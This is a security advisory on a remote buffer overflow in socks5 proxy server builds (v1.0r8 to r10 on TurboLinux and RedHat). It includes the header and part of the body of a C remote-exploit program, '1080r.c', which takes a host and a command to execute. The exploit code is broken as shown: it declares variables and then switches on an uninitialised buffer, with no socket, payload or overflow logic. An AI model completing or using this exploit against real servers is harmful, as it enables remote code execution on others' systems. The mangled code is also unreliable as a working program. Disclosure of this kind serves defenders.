Socks5 is an implementation of the Sockv5 protocol (that allows proxing of all sorts of protocols). This implementation suffers from a security flaw that allows remote attackers to overflow one of the authentication parameters causing the program to execute arbitrary code.
Credit:
The information has been provided by The Dark Raver.
Vulnerable systems:
socks5-v1.0r10 (compiled on a TurboLinux 4.0.5)
socks5-v1.0r9 (compiled on a TurboLinux 4.0.5)
socks5-v1.0r8 (compiled on a TurboLinux 4.0.5)
socks5-v1.0r10 (compiled on a RedHat 6.0)
Exploit:
The exploit code below can help test for the presence of that vulnerability.
/*
* <1080r.c> socks5 remote exploit / linux x86
*
* Usage:
* $ ./1080r <host> <command> [offset]
*
* Vulnerables:
* socks5-v1.0r10 (compiled on a turbolinux 4.0.5) => 0
* socks5-v1.0r9 (compiled on a turbolinux 4.0.5) => 0
* socks5-v1.0r8 (compiled on a turbolinux 4.0.5) => 0
* socks5-v1.0r10 (compiled on a redhat 6.0) => 400
* socks5-s5watch-1.0r9-2 (redhat-contrib) => no?
* socks5-0.17-1 (redhat 4.2) => no
* socks5-1.0r10-5 (redhat-contrib) => no??
* socks5-server-1.0r6-8TL (TurboContrib) => no??
*
* By: The Dark Raver of CPNE (Spain - 9/5/2000)
*
* <http://members.tripod.com/~ochodedos> - <doble@iname.com>
*
* "Pasaba arrolladora en su hermosura
* y el paso le dej?,
* ni aun mirarla me volv?, y no obstante
* algo en mi o?do murmur?, esa es..."
*
*/
main(int argc, char *argv[]) {
struct sockaddr_in to;
char buff[1000];
int sd;
int pktlen;
struct hostent *hp;
int i;
long *addr;
int off;
int alin;
int len;
int offset;
switch(buff[1]) {
case 0: printf("succeeded\n"); break;
case 1: printf("general SOCKS server failure\n"); exit(-1);
case 2: printf("connection not allowed by ruleset\n"); exit(-1);
case 3: printf("network unreachable\n"); exit(-1);
case 4: printf("host unreachable\n"); exit(-1);
case 5: printf("connection refused\n"); exit(-1);
case 6: printf("TTL expired\n"); exit(-1);
case 7: printf("command not supported (?)\n"); exit(-1);
case 8: printf("address type not supported\n"); exit(-1);
default: printf("returned unknown error code\n"); exit(-1);
}